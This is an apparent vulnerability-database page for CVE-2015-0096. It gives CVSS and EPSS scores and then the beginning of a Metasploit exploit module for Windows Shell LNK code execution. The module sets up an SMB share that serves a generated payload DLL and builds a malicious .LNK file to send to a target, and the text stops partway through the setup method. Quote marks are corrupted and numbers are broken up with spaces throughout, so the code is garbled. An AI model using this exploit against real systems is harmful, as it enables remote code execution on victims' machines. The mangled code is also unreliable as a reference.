9.3 High
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:M/Au:N/C:C/I:C/A:C
0.973 High
EPSS
Percentile
99.8%
require βmsf/coreβ
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::SMB::Server::Share
attr_accessor :exploit_dll_name
def initialize(info = {})
super(update_info(info,
βNameβ => βMicrosoft Windows Shell LNK Code Executionβ,
βDescriptionβ => %q{
This module exploits a vulnerability in the MS10-0 4 6 patch to abuse (again) the handling
of Windows Shortcut files (. LNK) that contain an icon resource pointing to a malicious
DLL. This creates an SMB resource is to provide the payload and the trigger, and generates a
LNK file which must be sent to the target. This module has been tested successfully on
Windows 2 0 0 3 SP2 with MS10-0 4 6 installed and Windows 2 0 0 8 SP2 (3 2 bits) with MS14-0 2 7
installed.
},
βAuthorβ =>
[
βMichael Heerklotzβ, # Vulnerability discovery
βjuan vazquezβ # msf module
],
βLicenseβ => MSF_LICENSE,
βReferencesβ =>
[
[βCVEβ, β2015-0096β],
[βMSBβ, βMS15-0 2 0β],
[βURLβ, βhttp://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Full-details-on-CVE-2015-0096-and-the-failed-MS10-046-Stuxnet/ba-p/6718459#.VQBOymTF9soβ],
[βURLβ, βhttps://github.com/rapid7/metasploit-framework/pull/4911β] # How to guide here
],
βDefaultOptionsβ =>
{
βEXITFUNCβ => βprocessβ,
},
βPayloadβ =>
{
βSpaceβ => 2 0 4 8,
},
βPlatformβ => βwinβ,
βTargetsβ =>
[
[ βAutomaticβ, { } ]
],
βDisclosureDateβ => βMar 1 0 2 0 1 5β,
βDefaultTargetβ => 0))
register_options(
[
OptString. new(βFILENAMEβ, [true, βThe LNK fileβ, βmsf. lnkβ])
], self.class)
register_advanced_options(
[
OptBool. new(βDisablePayloadHandlerβ, [false, βDisable the handler code for the selected payloadβ, false])
], self.class)
deregister_options(βFILE_CONTENTSβ, βFILE_NAMEβ)
end
def smb_host
"\\\\#{srvhost}\\#{share}\"
end
def setup
super
self. file_contents = generate_payload_dll
random_char = rand_text_alpha(1)
self. file_name = β#{random_char}. dllβ
prefix = β#{random_char}β
random_length = 2 5 7 - smb_host. length - file_name. length - prefix. length
self. exploit_dll_name = β#{prefix}#{rand_text_alpha(random_length)}#{file_name}β